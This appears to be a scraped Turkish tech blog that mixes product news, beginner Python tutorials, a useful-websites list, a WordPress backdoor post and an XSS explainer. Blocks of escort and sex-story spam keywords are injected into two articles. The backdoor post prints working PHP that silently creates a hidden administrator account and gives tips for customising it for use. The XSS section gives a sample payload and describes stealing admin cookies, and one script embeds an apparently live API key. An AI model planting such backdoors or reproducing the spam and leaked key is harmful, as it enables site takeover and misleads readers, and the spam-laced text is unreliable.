Poco Kablosuz Kulaklık Üretecek

Bir Xiaomi markası olan Poco, resmi olarak kablosuz kulaklık üreteceğini duyurdu. Daha önceden şirketin Hindistan yöneticisi tarafından Twitter üzerinden verilen bilgiler, Poco tarafından resmi olarak doğrulandı.

Akıllı telefon piyasasında ülkemizde de fiyat/performans açısından düşünüldüğü zaman ilk akla gelen markalardan birisi olan Xiaomi, aynı zamanda alt markalar oluşturarak da daha düşük bütçeli kullanıcılara hitap etmeyi başarıyor. Poco’da bu alt markalardan birisi olarak son zamanlarda dikkat çekmeye başladı.

Akıllı telefon piyasasında her geçen gün yeni bir gelişme yaşanırken, aynı zamanda giyilebilir teknolojilerde çok sık bir şekilde yeniliklerle karşımıza çıkmaya başladı. Özellikle kablosuz kulaklıklar son zamanlarda giyilebilir teknolojilerde fazlasıyla rağbet görüyor. Bu konuda birçok büyük teknoloji firması ile Xiaomi kendi markası ile rekabet ederken, aynı zamanda alt markası olan Poco ile de rekabete girmeyi planlıyor.

diyarbakır escort,
diyarbakır escort,
diyarbakır escort,
arsuz escort,
arsuz escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,
denizli escort,

Poco Hindistan genel müdürü, geçtiğimiz günlerde Twitter üzerinden kullanıcılara açık bir anket sorusu yönlendirdi. Bu soruda kullanıcılardan Poco markası ile hangi teknolojik ürünleri görmek istedikleri soruldu. Ankete on binden fazla kişi katıldı ve en çok oylanan şey kablosuz kulaklık oldu. Hemen sonrasında çevrimiçi bir etkinlik oluşturularak pazar araştırması da yapıldı. Böylece Poco adı altında bir kablosuz kulaklık geleceğinin sinyalleri verilmiş olmuştu.

Twitter üzerinden gerçekleşen bu anket ve Pazar araştırmasının üzerinden birkaç ay geçtikten sonra bugün yine Hindistan gelen müdürü tarafından bir paylaşım daha gerçekleştirildi. Bu paylaşım ile Poco’nun kablosuz kulaklık geliştireceği kesinleşti. Ancak kablosuz kulaklık hakkında daha fazla detay verilmedi. Şuada bilinen şey, kulaklığın çıktığında ilk olarak Hindistan kullanıcılarının beğenisine sunulacağıdır.

Python İle Harf Notu Hesaplama

Merhaba arkadaşlar bugün sizlere üniversite kullanılan harf notu hesaplama programı yapacağız. Vize ve Final notlarımı olacak ve bunları değer aralığına göre harf notu vereceğiz. Vize %40 Final %60 alınarak hesaplanmaktadır.

İlk olarak kullanıcıdan vize ve final notlarını girmesini istiyoruz.

vize1 = input("Vize:")
Final = input("Final:")

Vize ve Final notlarının ortalamasını hesaplıyoruz. Vizenin % 40 finalin %60 olarak hesaplıyoruz.

sonuc = int(vize1)*(4/10) + int(Final)*(6/10)

Son olarakta kullanıcı girmiş olduğu final ve vize notlarını ortalamasını alarak çıkan sonuca göre harf notu hesaplamasını yapıyoruz.

if(sonuc >=90):
    print("Harf Notu: AA")
elif(sonuc>=85):
    print("Harf Notu: BA")
elif(sonuc>=80):
    print("Harf Notu: BB")
elif(sonuc>=75):
    print("Harf Notu: CB")
elif(sonuc>=70):
    print("Harf Notu: CC")
elif(sonuc>=65):
    print("Harf Notu: DC")
elif(sonuc>=60):
    print("Harf Notu: DD")
elif(sonuc>=55):
    print("Harf Notu: FF")
print ("Ortalama") 
print (sonuc)

Python ile Harf Notu Hesaplama Programını Son Hali

vize1 = input("Vize:")
Final = input("Final:")
 
sonuc = int(vize1)*(4/10) + int(Final)*(6/10)
if(sonuc >=90):
    print("Harf Notu: AA")
elif(sonuc>=85):
    print("Harf Notu: BA")
elif(sonuc>=80):
    print("Harf Notu: BB")
elif(sonuc>=75):
    print("Harf Notu: CB")
elif(sonuc>=70):
    print("Harf Notu: CC")
elif(sonuc>=65):
    print("Harf Notu: DC")
elif(sonuc>=60):
    print("Harf Notu: DD")
elif(sonuc>=55):
    print("Harf Notu: FF")
print ("Ortalama") 
print (sonuc)

Bu yazımızda python ile harf notu hesaplama programını kodlarını beraber inceledik.

arf notu hesaplama programı"

İlginizi Çekebilir: Python İle Basit Hesap Makinesi Yapımı

 

Yapay Zeka ile Çalışan ilk İntraneti Geliyor Mesh 3.0

Dünyanın yapay zeka ile çalışan ilk intraneti geliyor. Bu intranetin adı Mesh 3.0 yapay zeka ile çalışan intranetini piyasaya sürdü. Microsoft ile iş ortağı olan Acuvate tarafından geliştirilmiştir. Peki bu intranet nedir?

Intranet: Belli bir işletme içindeki bilgisayarları, LAN ve WAN ağlarını birbirine bağlayan, çoğunlukla TCP/IP tabanlı bir ağdır.

Microsoft’un ortaklarından ve dijital dönüşüm sağlayıcılarından oluşan Acuvate , dünyanın ilk yapay zeka destekli intraneti Mesh 3.0’ı tanıttı . SharePoint, Office Graph, Azure Bilişsel Arama ve Bilişsel Hizmetler, Ekipler, Power Apps ve Power Automate üzerine kurulan sistem ayrıca Azure makine öğrenimi, metin analizi ve konuşma hizmetlerini de içermektedir.

Acuvate’in daha önce yayınlanan intranet sürümü daha geleneksel bir yapıya sahipti ve standart yollarla bu bilgiye ulaşabiliyordu. Bununla birlikte, işyeri eğilimlerinde değişiklikler meydana gelmeye başladıkça, çalışanların bir şirket içinde nasıl bağlantı kurdukları, işbirliği yapacakları ve iletişim kurmalarında değişiklik yapma ihtiyacı ortaya çıkmıştır. Bu nedenle Acuvate, Office 365 için modern işyeri taleplerini dikkate alarak en iyi Microsoft yapay zekasını ve SharePoint’i birleştiren bir intranet geliştirdi .

Mesh 3.0 Özellikleri

  • Yapay Zeka Destekli Kişiselleştirme
  • Kusursuz Uygulama Bağlantısı
  • Şekil İpuçları Bağlama
  • Kurumsal Arama
  • Kullanıcı deneyimi

Mesh 3.0

Mesh, dijital işyerinin 3 C’sini (İletişim, İşbirliği ve İçerik) geliştirmek için kişiselleştirilmiş kullanıcı deneyimi sağlayan ‘Doğru İçeriği Doğru Kişiye Doğru Zamanda‘ getirmek için bir sloganla tasarlanmıştır.

Mesh, hoş, güzel, sezgisel ve net bir gezinme deneyimi yapmak için tasarlanmıştır. Kolaylaştırılmış ve kişiselleştirilmiş öğelerde mevcuttur. Daha iyi çalışan işbirliği ve deneyimi için içeriğe anında erişim sağlamaktadır.

adana escort,
adana escort,
adana escort,
adana escort,
adana escort,
malatya escort,
malatya escort,
elazığ escort,
elazığ escort,
eskişehir escort,
eskişehir escort,
manisa escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
izmit escort,
ısparta escort,
ankara escort,
ankara escort,
gaziantep escort,
gaziantep escort,
gaziantep escort,
seks hikayeleri,
erotik hikayeleri,
erotik seks hikayeleri,
sakarya escort,

Otonom intranet çözümü ayrıca bizlere kişisel dijital asistanınız MeshBOT’u da içermektedir . Yeni intranet ayrıca bir şirketin arka uç uygulamalarına bağlanabilir ve bilgilere erişmek için tek bir kullanıcı arabirimi oluşturabilir.

Bu yazımızda sizlere yapay zeka ile çalışan ilk intraneti olan Mesh 3.0 tanıttık. Yapay zeka teknolojisi geliştikçe bir çok firmadan bu gelişmeleri duyacak gibiyiz.

İlginizi Çekebilir: AİWARE YAPAY ZEKA İŞLETİM SİSTEMİ

Python ile Kullanıcı Girişi

Merhaba arkadaşlar bügün sizlere python ile kullanıcı girişi uygulamamısı yapacağız. Bu uygulamada belirlemiş olduğumu kullanıcı adı ve şifre ile giriş yapmasını isteyeceğiz. İlk önce kullanıcı adı ve şifre belirleyerek başlayalım. Bu giriş kontrolü ise if else döngüsü ile kontrol edeceğiz.

Burada kullanıcı adını “python” olarak şifreyide “python123” olarak belirledik.

print("**********\nKullanıcı Girişi\n**********\n")

kul_adı = "python"

a_parola  = "python123"

Giriş yapmak için kullanıcı adı ve şifresini girmesini istiyoruz.

kullanıcı_adı = input("Kullanıcı Adını Giriniz:") 

parola =  input("Parolanızı Giriniz:")

İf, elif, else döngülerimi kullanarak kullanıcının girmiş olduğu kullanıcı adı ve şifresi doğrum diye kontrol ediyoruz. Kullanıcı adı hatalı giriş yaparsa Kullanıcı Adı Hatalı, şifre yanlış giriş yaparsa Parola Hatalı her ikisinide yanlış giriş yaparsa Kullanıcı Adı ve Parola Hatalı doğru giriş yapar ise Başarılı Giriş Yaptınız şeklinde ekrana geri dönüt mesajı yayınlıyoruz.

if (kullanıcı_adı != kul_adı and parola == a_parola):
    print("Kullanıcı Adı Hatalı...")
elif (kullanıcı_adı == kul_adı and parola != a_parola):
    print("Parola Hatalı...")

elif (kullanıcı_adı != kul_adı and parola != a_parola):
    print("Kullanıcı Adı ve Parola Hatalı...")

else:
    print("Başarıyla Giriş Yaptınız...")

Python ile Kullanıcı Girişi Son Hali

print("**********\nKullanıcı Girişi\n**********\n")

kul_adı = "python"

a_parola  = "python123"

kullanıcı_adı = input("Kullanıcı Adını Giriniz:") 

parola =  input("Parolanızı Giriniz:")

if (kullanıcı_adı != kul_adı and parola == a_parola):
    print("Kullanıcı Adı Hatalı...")
elif (kullanıcı_adı == kul_adı and parola != a_parola):
    print("Parola Hatalı...")

elif (kullanıcı_adı != kul_adı and parola != a_parola):
    print("Kullanıcı Adı ve Parola Hatalı...")

else:
    print("Başarıyla Giriş Yaptınız...")

Bu yazımıda sizlere if, elif ve else komutları ile kullanıcı girişi nasıl yapıldığını kodlarını beraber inceledik.Bir sonraki yazımızda görüşmek üzere. Bizi Takipte kalın…

İlginizi Çekebilir: Python ile ATM Yapımı

Python İle Şifre Oluşturma

Python ile otomatik olarak güçlü şifre oluşturmayı sizler için hazırlayacağız. Burada kullanıcıdan uzunluk ve seviye değerlerini alıyoruz. 3 seviye mevcut burada zorluk seviyelerine göre şifre üretiyoruz. Python ile şifre oluşturma gelin hep beraber bu kodu inceleyelim.

Random ve String modülleri import ediyoruz.

import random
import string

Burada ise kelime uzunluğu ve seviyeye için gelen değerlerine göre seviyelerde hangi karakterleri olması gerektiğini belirliyoruz. Bu karakterler zorluk seviyelerine göre değişiklik göstermektedir. Bu seviyeler ise harfler, sayılar ve özel karakterlerden oluşmaktadır.

def generate_password(length, level, output=[]):
    chars = string.ascii_letters
    if level > 1:
        chars = "{}{}".format(chars, string.digits)
    if level > 2:
        chars = "{}{}".format(chars, string.punctuation)
    
    for i in range(length):
        output.append(random.choice(chars))
    
    return "".join(output)

Kullanıcıdan Seviye ve Uzunluk değerlerini girmesini istiyoruz.Şifre kaç kelimeden oluşmasını istediği ve zorluk seviyesini belirliyor.

print(("*" * 25) + "\n Güçlü Şifre Belirleme\n" + ("*" * 25))

password_length = int(input("Uzunluk: "))
password_level = int(input("Seviye: "))

Son olarakta kullanıcı için üretmiş olduğum şifreyi ekrana yazıyoruz.

password = generate_password(password_length, password_level)
print("\nŞifreniz: {}".format(password))

Python ile Şifre Oluşturma Son Hali

import random
import string

def generate_password(length, level, output=[]):
    chars = string.ascii_letters
    if level > 1:
        chars = "{}{}".format(chars, string.digits)
    if level > 2:
        chars = "{}{}".format(chars, string.punctuation)
    
    for i in range(length):
        output.append(random.choice(chars))
    
    return "".join(output)

print(("*" * 25) + "\n Güçlü Şifre Belirleme\n" + ("*" * 25))

password_length = int(input("Uzunluk: "))
password_level = int(input("Seviye: "))

password = generate_password(password_length, password_level)
print("\nŞifreniz: {}".format(password))

Bu yazımızda sizlere python ile nasıl güçlü şifre oluşturabiliriz kodları sizlere paylaştık. Daha öncesinde sizlere hesap makinesi, sözlük yapımı, atm para çekme gibi örnekleri paylaşmıştık. Her geçen gün sizlere python ile ilgili projelerimizi paylaşacağız.

Python İle Euro Döviz Çevirme

Bugün sizlere python ile euro döviz çevirme uygulaması yapacağız. Bunun için ilk önce bir APİ web sitesi gerekiyor. Ücretli ve Ücretsiz olarak bu hizmeti sunan siteler mevcut. Bu api ile online olarak döviz kurlarını çekiyoruz. Biz bu uygulamamızda EURO kurunu TL,USD gibi para birimlerine cevirilerini yapan uygulamayı inceleyeceğiz. Bunu geliştirerek kullanabilirsiniz.

İlk requests ve sys modüllerini import ediyoruz.

import requests
import sys

Burada ise size bahsetmiş olduğu api url kodunu ekliyoruz. Fixer.io web sitesinin ücretsiz olarak bizlere sunduğu apiyi kullanıyoruz. Bu siteye üye olarak ??? yazan kısma size bir key oluştulucak ve buraya o kodunuzu ekliyorsunuz.

url = "http://data.fixer.io/api/latest?access_key=????"

Daha sonra EURO dan hangi döviz kuruna çeviri yapmak istiyorsak onu seçiyoruz. Tabi burada kısaltmalar kullanılmaktadır. Dolar için USD, TL için TRY, Sterlin için GBP gibi sembolleri yazmanız gerekiyor çevirmek istediğin döviz kısmına.

print("EURO DÖVİZ ÇEVİRİCİ")
birinci_doviz = "EUR"
ikinci_döviz = input("Çevirilecek Döviz Cinsi:")
miktar = float(input("Tutar:"))

Son olarakta döviz çevirme işlemini yapıyoruz. Çıkan sonucu ekrana yazıyoruz. Eğer yanlış döviz kuru seçilirse para birimini doğru girilmesi konusunda uyarıda bulunuyor.

response = requests.get(url + birinci_doviz)

json_verisi = response.json()
try:
    print(json_verisi["rates"][ikinci_döviz] * miktar)
except KeyError:
    sys.stderr.write("Lütfen para birimlerini doğru girin")
    sys.stderr.flush()

Python İle Euro Döviz Çevirme Son Hali

import requests

import sys
url = "http://data.fixer.io/api/latest?access_key=3c68051bdc3e029df1818d7d6223867b&format=1"
print("EURO DÖVİZ ÇEVİRİCİ")
birinci_doviz = "EUR"
ikinci_döviz = input("Çevirilecek Döviz Cinsi:")
miktar = float(input("Tutar:"))


response = requests.get(url + birinci_doviz)

json_verisi = response.json()
try:
    print(json_verisi["rates"][ikinci_döviz] * miktar)
except KeyError:
    sys.stderr.write("Lütfen para birimlerini doğru girin")
    sys.stderr.flush()








Bu projemizde sizlere Python ile döviz çevirme kodlarını inceledik. Daha fazla uygulama için bizi takipte kalın…

Yararlı Websiteler

Merhaba, bugün ki yazımda sizlere sevdiğim, internet ortamında kullanılmaya değer websitelerinden bahsedeceğim. Aklıma geldikçe ya da yeni keşfettikçe bu listeyi güncellemeyi düşünüyorum. Link çöplüğüne dönmüş günümüz internet dünyasında faydalı ve kullanışlı websitelerin artması dileğiyle..

Diziyleogren.Com

İngilizce bilmenin ne kadar değerli olduğu gibi her gün duyduğumuz klişelerden bahsetmeyeceğim. Ama gerçekten önemli 🙂 Bu websitemizde istediğiniz dizinin bölümünü seçerek, o bölümde geçen ingilizce kelimelerden quiz yapılıyor. Ve böylece dinleyip, izlediğiniz dizinin içerisinde yer alan ingilizce kelimeleri de öğrenmiş-pekiştirmiş oluyorsunuz. Hiç de azımsanmayacak derecede içerik var. Site sahibini tebrik etmek gerekir..

Archive.org

Her şeyin geleceği olduğu gibi geçmişi de vardır elbet. Websitelerin geçmiş tarihlerinde ki görünümlerinlerini buradan elde edebiliriz. https://archive.org adresine girip boşluğa istediğiniz websitesinin url adresini yazmanız sizi geçmişe götürecektir !

Outline.com

İnternet ortamında çoğu websitesinde bilgi edinirken bir çok şey sizin dikkatinizi dağıtır. Bundan outline.com sahibi de bunalmış olmalı ki böyle bir websitesi açmakta çözümü bulmuştur. Herhangi bir siteden okumak istediğiniz içeriğin linkini kopyalayıp outline.com adresine yapıştırdığınız da gerçek içeriğin olduğu kısımları alıp geri kalanını atıyor. Ve artık istediğiniz içeriği çok net bir şekilde okuma imkanı sunuyor. Başkaları eğer o içeriğe not düşmüş ise onlara da kolayca ulaşabiliyorsunuz.

Howmanypeopleareinspacerightnow.com

Barış Özcan’ı takip edenlerin bildikleri bir websitesi. Uzaya benim gibi sizlerde meraklı iseniz önce Barış Özcan’ı takip etmenizi önerir daha sonrasın da ise bu websitesine gitmenizi öneriyorum. Uzayda bulunan insan sayısını online olarak gösteriyor. Bu insanları isimlerini, uzaydaki görevlerini ve kaç gündür uzayda oldukları bilgisine edinebilirsiniz.

Ben baktığımda 6 sizler baktığınızda kaç olduğunu yorumda paylaşabilirsiniz 🙂

Temp-mail.org

En çok kullandığım rastgele bir mail adresi veren temp-mail den bahsedelim. Artık her sitenin bir içeriğe ulaşmak için üyelik istediği günümüz dünyasında sürekli mail adresi açıp üye olmaktan bıktıysanız tam da size göre bir yer ! Siteye girdiğiniz an size otomatik bir mail adresi veriyor ve bir yere üye olduğunuz da aktivasyon kodu anında gelen kutusuna düşüyor. Ve böylelikle kişisel mailinizi her yere vermeyerek e-posta çöplüğünden bir nebzede olsa kurturmuş oluyorsunuz.

Privnote.com

Eğer birisine bir not gönderecek ve bu not internet ortamından daha sonra silinmesi gerekecekse privnote.com ‘ dan bahsediyoruz demektir. Notunuzu yazıyorsunuz ve daha sonrasında okumak istediğiniz kişi ile linkini paylaştıktan sonra alıcı notu okuduktan sonra otomatik olarak siliniyor. Böylelikle internet ortamında bilgileriniz kalmadan temizlenmiş oluyor..

Yararlı Websiteler listesi şimdilik bu kadar. Denk geldikçe listeye yenilerini ekleyeceğimi tekrar hatırlatıyorum.

 

Python İle Basit Hesap Makinesi Yapımı

Bugün sizlere Python ile hesap makinesi yapımını kodlayacağız.Bir önceki yazımızda sizlere python ile atm programı yapmıştık. Şimdi bu yeni uygulamamızı inceleyelim.

Python ile Hesap Makinesi Yapımı Kodları

İlk olarak dört işlemi için seçmek için numara belirliyoruz bu kod bloğunda ekrana toplama, çıkarma, çarpma ve bölme işlemlerini hangi tuşların teslim ettiğini belirliyoruz.

print("""*************************************
Hesap Makinesi Programına Hoşgeldiniz 
İşlemler;

1. Toplama İşlemi

2. Çıkarma İşlemi

3. Çarpma İşlemi

4. Bölme İşlemi
****************************************
""")

Bir sonraki işlemimiz birinci ve ikinci sayı girişi yapıyoruz. Bu girilen iki sayı ile hangi işlemi yapmak istediğimizi seçiyoruz.

a = int(input("Birinci Sayı:")) # Birinci Sayıyı Alıyoruz.
b = int(input("İkinci Sayı:")) # İkinci Sayıyı Alıyoruz.

işlem =  input("İşlem Numarasını Giriniz:") # Buna göre koşullarımızı yazacağız.

Son işlemimizde seçtiğim işleme göre işlemleri gerçekleştirip ekrana yazıyoruz.Eğer yanlış bir işlem seçilirse geçerli bir işlem gerekmesini söylüyoruz.

if (işlem == "1"): # Toplama İşlemi

    print("{} ile {} 'nin toplamı {} dır.".format(a,b,a+b))
elif (işlem == "2"):

    print("{} ile {} 'nin farkı {} dır.".format(a, b, a - b))

elif (işlem == "3"):

    print("{} ile {} 'nin çarpımı {} dır.".format(a, b, a * b))

elif (işlem == "4"):

    print("{} 'nın {} 'e bölümü {} dır.".format(a, b, a / b))
else:

    print("Lütfen geçerli bir işlem giriniz...")

Python ile Hesap Makinesi Son Hali

print("""*************************************
Hesap Makinesi Programına Hoşgeldiniz 
İşlemler;

1. Toplama İşlemi

2. Çıkarma İşlemi

3. Çarpma İşlemi

4. Bölme İşlemi
****************************************
""")
a = int(input("Birinci Sayı:")) # Birinci Sayıyı Alıyoruz.
b = int(input("İkinci Sayı:")) # İkinci Sayıyı Alıyoruz.

işlem =  input("İşlem Numarasını Giriniz:") # Buna göre koşullarımızı yazacağız.

if (işlem == "1"): # Toplama İşlemi

    print("{} ile {} 'nin toplamı {} dır.".format(a,b,a+b))
elif (işlem == "2"):

    print("{} ile {} 'nin farkı {} dır.".format(a, b, a - b))

elif (işlem == "3"):

    print("{} ile {} 'nin çarpımı {} dır.".format(a, b, a * b))

elif (işlem == "4"):

    print("{} 'nın {} 'e bölümü {} dır.".format(a, b, a / b))
else:

    print("Lütfen geçerli bir işlem giriniz...")
Python Hesap Makinesi Toplama İşlemi
Python Hesap Makinesi Toplama İşlemi
Python Hesap Makinesi Çarpma İşlemi
Python Hesap Makinesi Çarpma İşlemi

 

 

 

 

 

 

 

 

Bu yazımızda sizlere python ile hesap makinesi yapımı inceledik. Dört işlem yapabilen bir hesap makinesi kodladık. Bu hesap makinesini geliştirerek daha kapsamlı bir hesap makinesi yapabilirsiniz.

Python ile ATM Yapımı

Merhaba arkadaşlar bugün sizlere bankaların ATM’lerde kullandığı sistemi basit olarak yapalım.Hepimiz ATM den para çekmeye gitmişizdir. Peki bu işlemleri nasıl yapılıyor merak etmişizdir. Sizler için bunu Python ile ATM yapımı ile nasıl yapıldığını proje haline getirdik. Şimdi bunu inceleyelim.

Python İle Atm Yapımı Kodları

Başlangıç olarak ekrana yazacağım işlemleri tanımlayalım. Bu işlemler bakiye sorgulama, para yatırma, para çekme ve çıkış işlemlerini yapmasını istiyoruz. 1 tuşuna basınca Bakiye Sorgulama 2 tuşuna basınca Para Yatırma 3 tuşuna basınca Para Çekme ve q tuluna basınca Çıkış işlemlerini yapmasını istiyoruz.

print("********************\nATM sistemine hoşgeldiniz\n********************")

print("""
İşlemler:

1. Bakiye Sorgulama
2. Para Yatırma
3. Para Çekme

Programdan 'q' tuşu ile çıkabilirsiniz.

""")

Başlangıçta bakiyemizi belirleyelim. Bakiye 1000 TL olarak belirliyoruz.

bakiye  = 1000 # Bakiyemiz 1000 lira olsun.

While döngüsü içinde işlemlere değer atıyoruz ve bu değerleri ekrana yazdıyoruz. Hangi işlemi yapmak için hangi tuşa basmamız gerektiğini belirliyoruz. Girmiş olduğumuz değerleri işlemlere göre toplama ve çıkarma işlemlerini yapıyoruz.

while True:
    işlem = input("İşlemi giriniz:")

    if (işlem == "q"):
        print("Yine bekleriz....")
        break
    elif (işlem == "1"):
        print("Bakiyeniz {} tldir".format(bakiye))
    elif (işlem == "2"):
        miktar = int(input("Yatırmak istediğiniz tutar:"))

        bakiye += miktar
    elif (işlem == "3"):
        miktar = int(input("Çekmek istediğiniz tutar:"))
        if (bakiye - miktar < 0 ):
            print("Bu kadar para çekemezsiniz...")
            print("Bakiyeniz {} tldir".format(bakiye))
            continue
        bakiye -= miktar

Son olarak else komutu ile yanlış bir tuşa basınca geçerli işlem girmesini istiyoruz.

else: print("Lütfen geçerli bir işlem giriniz.")

Python ile Atm Yapımı Son Hali

print("********************\nATM sistemine hoşgeldiniz\n********************")

print("""
İşlemler:

1. Bakiye Sorgulama
2. Para Yatırma
3. Para Çekme

Programdan 'q' tuşu ile çıkabilirsiniz.

""")

bakiye  = 1000 # Bakiyemiz 1000 lira olsun.

while True:
    işlem = input("İşlemi giriniz:")

    if (işlem == "q"):
        print("Yine bekleriz....")
        break
    elif (işlem == "1"):
        print("Bakiyeniz {} tldir".format(bakiye))
    elif (işlem == "2"):
        miktar = int(input("Yatırmak istediğiniz tutar:"))

        bakiye += miktar
    elif (işlem == "3"):
        miktar = int(input("Çekmek istediğiniz tutar:"))
        if (bakiye - miktar < 0 ):
            print("Bu kadar para çekemezsiniz...")
            print("Bakiyeniz {} tldir".format(bakiye))
            continue
        bakiye -= miktar

    else:
        print("Lütfen geçerli bir işlem giriniz.")

Bugün sizlere python ile atm programının nasıl yapılacağını sizler için derledik. Bu kodları geliştirerek gerçek bir atm de olan sistemi haline getirebilirsiniz. Bunun için veritabanı entegre etmeniz gerekmektedir.

Sizlere basitten başlayarak gelişmiş projeler ile sizlere python projeleri sunmayı hedefliyoruz bizi takipte kalın…

WordPress Backdoor Nedir

Bugün sizlere wordpress backdoor ile wordpress sitelerine backdoor (arka kapı) olarak yeni admin eklemeden bahsedeceğim.

Yönettiğim bir wordpress sitesinde güvenlik denetimi yaparken hiç alışık olmadığım bir kod ile karşılaştım. Bu kodu detaylıca araştırırken gönderdiği girdi ile yeni bir admin oluşturduğunu fark ettim. Bu bahsettiğim kod firefox, chrome gibi normal bir web tarayıcısını kullanarak belirli bir url’ye erişiyor ve tetiklenmesi ile çok basit ama güçlü bir php betiği olduğunu farkettim.

WordPress backdoor tetiklendikten sonra, websitesinde kötü niyetli bir kullanıcının istediği zaman wordpress kurulumuna yeniden erişebilir, yönetici rolüne sahip yeni bir wordpress kullanıcısını otomatik olarak oluşturabilir. Bu yazıda backdoor oluşturan koda bir göz atacağız ve nasıl çalıştığını anlatacağım.

NOT*** : Bu makale SADECE eğitim amaçlıdır. Aslında kimsenin wordpress kurulumunda böyle bir bacdoor (arka kapı) kullanmasını önermiyorum.

WordPress Backdoor

WordPress backdoor aşağıdaki örnekte yer almaktadır. WordPress temasının function.php dosyasına eklenebilen basit bir PHP işlevidir.

<?php
add_action('wp_head', 'WordPress_backdoor');
 
function WordPress_backdoor() {
    If ($_GET['arka'] == 'kapi') {
        require('wp-includes/registration.php');
        If (!username_exists('backdooradmin')) {
            $user_id = wp_create_user('backdooradmin', '123123123');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
?>

WordPress Backdoor, https://veomer.com?arka=kapi URL’sine erişerek tetiklenebilir ( veomer.com sitesinin function.php dosyasına üstte yer alan kod eklenmişse – Denemeyin eklemedim 🙂 .. )

 

WordPress Backdoor Nasıl Çalışır ?

Yukarıdaki örneği kullanarak, wordpress backdoor tetiklendiğinde, aşağıdaki bilgiler ile yeni bir wordpress yönetici hesabı oluşturur:

Kullanıcı Adı : backdooradmin

Şifre : 123123123

 

WordPress Backdooru Kullanma

Herhangi bir nedenden dolayı wordpress backdooru kullanmak isterseniz eğer yukarıdaki örnekte belirtilenlerden farklı bir URL kullanın. ( GET değişkenini 5.satırdaki değeri değiştirerek ve ayrıca güçlü bir kullanıcı adı, şifre kullanın onu da 8.satırdaki bilgileri kullanarak..

NOT*** : Tekrar belirtmek isterim ki bu backdoor kullanmanızı önermiyorum. Bu bilgileri sadece eğitim ve güvenlik amaçlı paylaşıyorum. Birinin böyle bir backdoor oluşturması için wordpress dosyalarınızda editleme yetkisi olması lazım. Genellikle ftp bilgileri ile bu girişim yapılabilir. Herhangi bir güvenlik tehdidi ile karşı karşıya iseniz tema dosyanızın içerisinde yer alan function.php dosyasını kontrol etmeyi unutmayınız !

WordPress güvenliği konusunda profesyonel desteğe ihtiyacınız varsa : omer@vegory.com adresinden bana ulaşabilirsiniz.

XSS Nedir ?

Xss (Cross Site Scripting) JavaScript ve HTML filtrelerinin eksik olduğu zamanlarda kullanıcının girdileri ile oluşan bir zaafiyettir.

Tam kelime anlamı olarak ise: siteler arası komut çalıştırma / çapraz kod çalıştırma olarak bilinen genelde web uygulamalarında rastlanan, kullanıcıların (saldırganların) tarayıcısında zarar verecek kodları ekleme yaparak oluşan bir saldırıdır.

Javascript, Html ve Css tarayıcı tarafından yorumlanan dillerden olduğu için girdi edilen kod doğrudan diğer kullanıcıları da etkileyebilir ve sisteme ciddi zararlar verebilir !

XSS 3 FARKLI DALDA İNCELENİR

1-> Reflected XSS

2-> DOM Based XSS

3-> Stored XSS

REFLECTED XSS NEDİR ?

Giriş alanlarına veya url alanlarına yapılan xss saldırısıdır.Bu saldırı sadece saldırgan tarafından görülür ve diğer kullanıcılar bu saldırıyı göremezler. Genellikle reflected xss saldırılarında girdiler veritabanına yazılmaz.

Örnek olarak herhangi bir girdi yazılabilecek url linkine : <script>alert(1)</script> kodu yazarak “1” diye ekrana hata alırız.

DOM BASED XSS NEDİR ?

Dom (Document Object Model) “Belge Nesnesi Modeli” olarak geçmektedir. Yani bir belge içerisinde bulunan nesnelerden kaynaklıdır diyebiliriz bu xss saldırısına. Biraz daha açmak gerekirse: kullandığımız tarayıcılar internetteki sayfaları bil belge olarak görür ve bu sayfaların (belgelerin) içerisinde yer aldığı tüm elemanları da nesne olarak görür. Bu nesnelere örnek vermek gerekirse: resimler, yazılar, formlar, testler gibi tüm elemanlar… Evet bu dom xss bu nesnelere müdahale etmemizi sağlar.

Ancak şunu bilmek de fayda var: DOM tabanlı xss saldırı esnasında HTML kaynağı ve dönen cevap tamamen aynı olacaktır. Çünkü dom xss sayfada bulunmaz – nesne tabanlı xss – sadece runtime esnasında veya sayfaların dom’u incelenirken gözlemlenebilmektedir..

STORED XSS NEDİR ?

Stored xss türünde ise kullanıcının (saldırganın) girdiği zararlı kod veritabanında veya bir sayfada tutulur. Bu kodlar sonrasında bu sayfalar ziyaret edildiğinde çalıştırılmış olur. EN ZARARLI XSS TÜRÜDÜR. Çünkü chrome, firefox gibi bir çok tarayıcı default ayarlarında gerekli önlemleri alamaz. Bu xss türünün genellikle websitelerinin iletişim, kayıt, mesaj formlarında bulunduğunu unutmayalım.

NOT*** : Xss türlerini 2’ye ayıran uzmanlarda vardır. Anlık değişiklik gösteren ya da database, dosya gibi yerlerde tutulan olarak. Ama ben olayın tam anlamıyla anlanması için 3’e ayrılması taraftarıyım.

Xss türlerinden bahsettiğimize göre olayın daha detaylı ve mantığının kavranması gerektiği için Xss ile cookie çalmakdan bahsedeceğim.

XSS İLE COOKİE ÇALMA 

Yazımızın başında da söylediğim gibi xss ile javascript çalıştırabiliriz. Yani javascript ile uygulamada-websitesinde neye erişim varsa oraya müdahale edebiliriz. Buna document.cookie nesnesi en iyi örnektir…

** adresine girip üye olduğunuz takdir de size bir çok payloadı hazır halde verir. Burada verdiği “Basic XSS payload” ile bir çok bilgiye ulaşabiliriz. Örnek olması amacıyla bu kodu filtrelenmemiş bir yere atıp yönetici tarafından görüntülendiğin de – çalıştığında – anlık görüntü, cookieler, html kaynak kodu gibi birçok değere ulaşabiliriz ve yönetici yetkisini alabiliriz.

Ama unutulmaması gerekir ki bu site sadece test amaçlı, eğitim amaçlı açılmıştır. Zararlı saldırı girişlerinde üyeliğiniz silinir..

Xss konusuna genel bir bakış yaptığımızı düşünüyorum bu konuda. İlerleyen günler de daha detaylı makaleleri paylaşacağım. Takip de kalın..

Daha detaylı bilgilendirme için kaynaklar:

Sanallaştırma Ve Kernel Nedir

Bugün blogumda ufak da olsa sanallaştırma ve kernel kavramlarından çok kısa bahsedeceğim. Sanallaştırmanın, kernelin bir çok türü ve çeşidi vardır ancak onlara bile değinmeden mantığını, işleyişini anlamanız için bir yazı olacaktır.

SANALLAŞTIRMA

